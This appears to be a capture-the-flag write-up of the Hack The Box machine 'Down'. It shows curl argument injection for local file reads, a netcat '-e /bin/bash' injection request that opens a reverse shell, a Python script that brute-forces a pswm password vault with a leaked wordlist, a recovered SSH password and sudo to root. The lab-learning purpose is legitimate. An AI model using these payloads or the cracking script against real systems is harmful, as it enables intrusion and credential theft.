writeup 2025-09-20 · 8 min read · updated 2026-09-16

Hack The Box Down Writeup

An is-it-down app passes URLs to curl unsanitized, giving file:// reads and argument injection, then a brute-forced pswm vault and the sudo group give root.

Hack The Box Down Writeup

Notes

Web server on port 80 running “is it down” application

Web Server

The server offers an “is it down” service: you input a URL, it makes a request to it, and shows you whether it’s down. I put the box’s IP address in the box and clicked the button.

image.webp

It shows me the webpage contents. I tried using my own VPN IP (tun0) alongside a Python web server to see if I’d get a request back. Sure enough, I got the request:

image.webp

I captured the request on burpsuite. In the repeater tab, I tested the “url” parameter and got the first error message:

image.webp

I can also see more information about the request when using netcat to listen to it (e.g. http headers):

image.webp

I went to cvedetails.com to look for a CVE on that specific version, but found none.

image.webp

I could however inject arguments into the command:

1
url=http://10.10.14.173+-X+POST

image.webp

If you take a look at GTFOBins (https://gtfobins.github.io/gtfobins/curl/), you can see options to explore curl.

Since curl accepts multiple URLs as input on the CLI, separated by spaces, I could bypass the “http or https”-only filter and include “file://” to read local files (notice the “+” sign, which translates to a space when URL-decoded):

image.webp

Testing common locations for files on the web server, I found where the webpage source code is located and was able to see its contents (/var/www/html/index.php).

image.webp

I copied the HTML-entity-encoded blob and pasted it into CyberChef. It automatically suggested HTML entity decoding.

image.webp

The source code looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
?>

Both branches build a shell command string and run it:

  • TCP mode: &amp;quot;/usr/bin/nc -vz &amp;dollar;ip &amp;dollar;port&amp;quot;

  • HTTP mode: &amp;quot;/usr/bin/curl -s &amp;dollar;url&amp;quot;

They run escapeshellcmd() on the entire command, not escapeshellarg() on each argument. That’s a classic footgun:

  • escapeshellcmd() is not for arguments; it doesn’t properly quote a single, untrusted parameter. It leaves spaces and double quotes problematic and does not prevent argument injection.

  • Correct pattern: keep the command fixed and wrap each user value with escapeshellarg(&amp;dollar;value) (or better: avoid the shell entirely and use PHP’s cURL extension / sockets).

I added the ‘expertmode’ attribute to the URL to unlock the hidden panel:

image.webp

The application fails to properly sanitize the port number value, allowing for argument injection once again, this time with higher severity: netcat has an option to attach an executable to the connection (e.g. /bin/bash), which allows for remote command execution.

The request looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.129.171.73
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.129.171.73
Connection: keep-alive
Referer: http://10.129.171.73/index.php?exls 
pertmode=tcp
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=10.10.14.173&port=1234+-e+/bin/bash

I received the connection:

1
2
3
4
5
6
7
8
$ nc -lvnp 1234
listening on [any] 1234 ...                                                          
connect to [10.10.14.173] from (UNKNOWN) [10.129.171.73] 51812                       
ls                                                                                   
index.php
logo.png
style.css
user_aeT1xa.txt

Privilege Escalation

While enumerating the system internally, I noticed the user “aleks” has “pswm” software installed under his local files.

image.webp

I saved the file to my local machine.

1
2
$ cat /home/aleks/.local/share/pswm/pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

A quick google search led me to this github repo https://github.com/Julynx/pswm. In the code, there is a decrypt function that takes the master password and tries to get the cleartext content out of the vault.

I created a script that uses the same logic to brute-force the master password of the vault, using a performance-optimized approach:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#!/usr/bin/env python3

import cryptocode
import os
from concurrent.futures import ProcessPoolExecutor, as_completed
from typing import Callable, Iterable, Optional, Tuple
import multiprocessing as mp


def encrypted_file_to_lines(file_name, master_password):
    """
    This function opens and decrypts the password vault.

    Args:
        file_name (str): The name of the file containing the password vault.
        master_password (str): The master password to use to decrypt the
        password vault.

    Returns:
        list: A list of lines containing the decrypted passwords.
    """
    if not os.path.isfile(file_name):
        return ""

    with open(file_name, "r") as file:
        encrypted_text = file.read()

    decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
    if decrypted_text is False:
        return False

    decrypted_lines = decrypted_text.splitlines()
    return decrypted_lines


def read_master_passwords_file(path: str) -> list:
    with open(path, encoding="latin-1") as f:
        master_passwords = [x.rstrip() for x in f.readlines()]

    return master_passwords


# Globals set in each child process by the initializer:
STOP = None  # type: ignore
PRED = None  # type: ignore
PSWM_DATABASE_PATH = "/home/user/hacking/htb/machines/easy/down/pswm-database"


def predicate(word: str) -> bool:
    # top-level function: picklable under spawn
    return bool(encrypted_file_to_lines(PSWM_DATABASE_PATH, word))


def _init_child(stop_event, predicate):
    """Run once in each worker process."""
    global STOP, PRED
    STOP = stop_event
    PRED = predicate


def _task(arg: Tuple[int, str]):
    """Worker task: return (index, word) if True, else None."""
    idx, word = arg
    # Fast escape if some other worker already found the answer
    if STOP.is_set():
        return None
    if PRED(word):
        pass
        STOP.set()
        return (idx, word)
    return None


def find_first_match_process(
    words: Iterable[str],
    predicate: Callable[[str], bool],
    max_workers: Optional[int] = None,
    start_method: str = "spawn",
):
    """
    Parallel search across `words` in separate processes.
    Returns the first (index, word) for which `predicate(word)` is True,
    or None if there is no match. Stops others ASAP once a match is found.

    NOTE: `predicate` must be picklable (i.e., a top-level def, not a lambda/closure).
    """
    words = list(words)  # we enumerate, so we need to realize it
    if not words:
        return None

    # Use a multiprocessing context explicitly for cross-platform safety
    ctx = mp.get_context(start_method)
    stop = ctx.Event()

    winner = None
    # cancel_futures=True cancels any tasks still in the queue (Py3.9+)
    with ProcessPoolExecutor(
        max_workers=max_workers,
        mp_context=ctx,
        initializer=_init_child,
        initargs=(stop, predicate),
    ) as ex:
        futures = {ex.submit(_task, (i, w)): i for i, w in enumerate(words)}
        for fut in as_completed(futures):
            try:
                res = fut.result()
            except Exception:
                res = None
            if res is not None:
                winner = res
                stop.set()
                # Try to cancel tasks that haven't started yet
                ex.shutdown(wait=False, cancel_futures=True)
                break

    return winner


if __name__ == "__main__":
    words = read_master_passwords_file(
        "/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-70.txt"
    )
    result = find_first_match_process(words, predicate, max_workers=mp.cpu_count())
    print("Result:", result)

Almost instantly, I got a password back:

1
Result: (56, 'flower')

I copied the pswm database for aleks to my local share folder (where pswm expects the database to be) and decrypted it.

image.webp

I got the password for aleks and could log in via SSH:

1
aleks:1uY3w22uc-Wr{xNHR~+E

Privilege Escalation

The user “aleks” is a member of the “sudo” group, so privilege escalation here is just:

1
2
aleks@down:~$ sudo su
root@down:/home/aleks# cat /root/root.txt
This post is licensed under CC BY 4.0 by the author.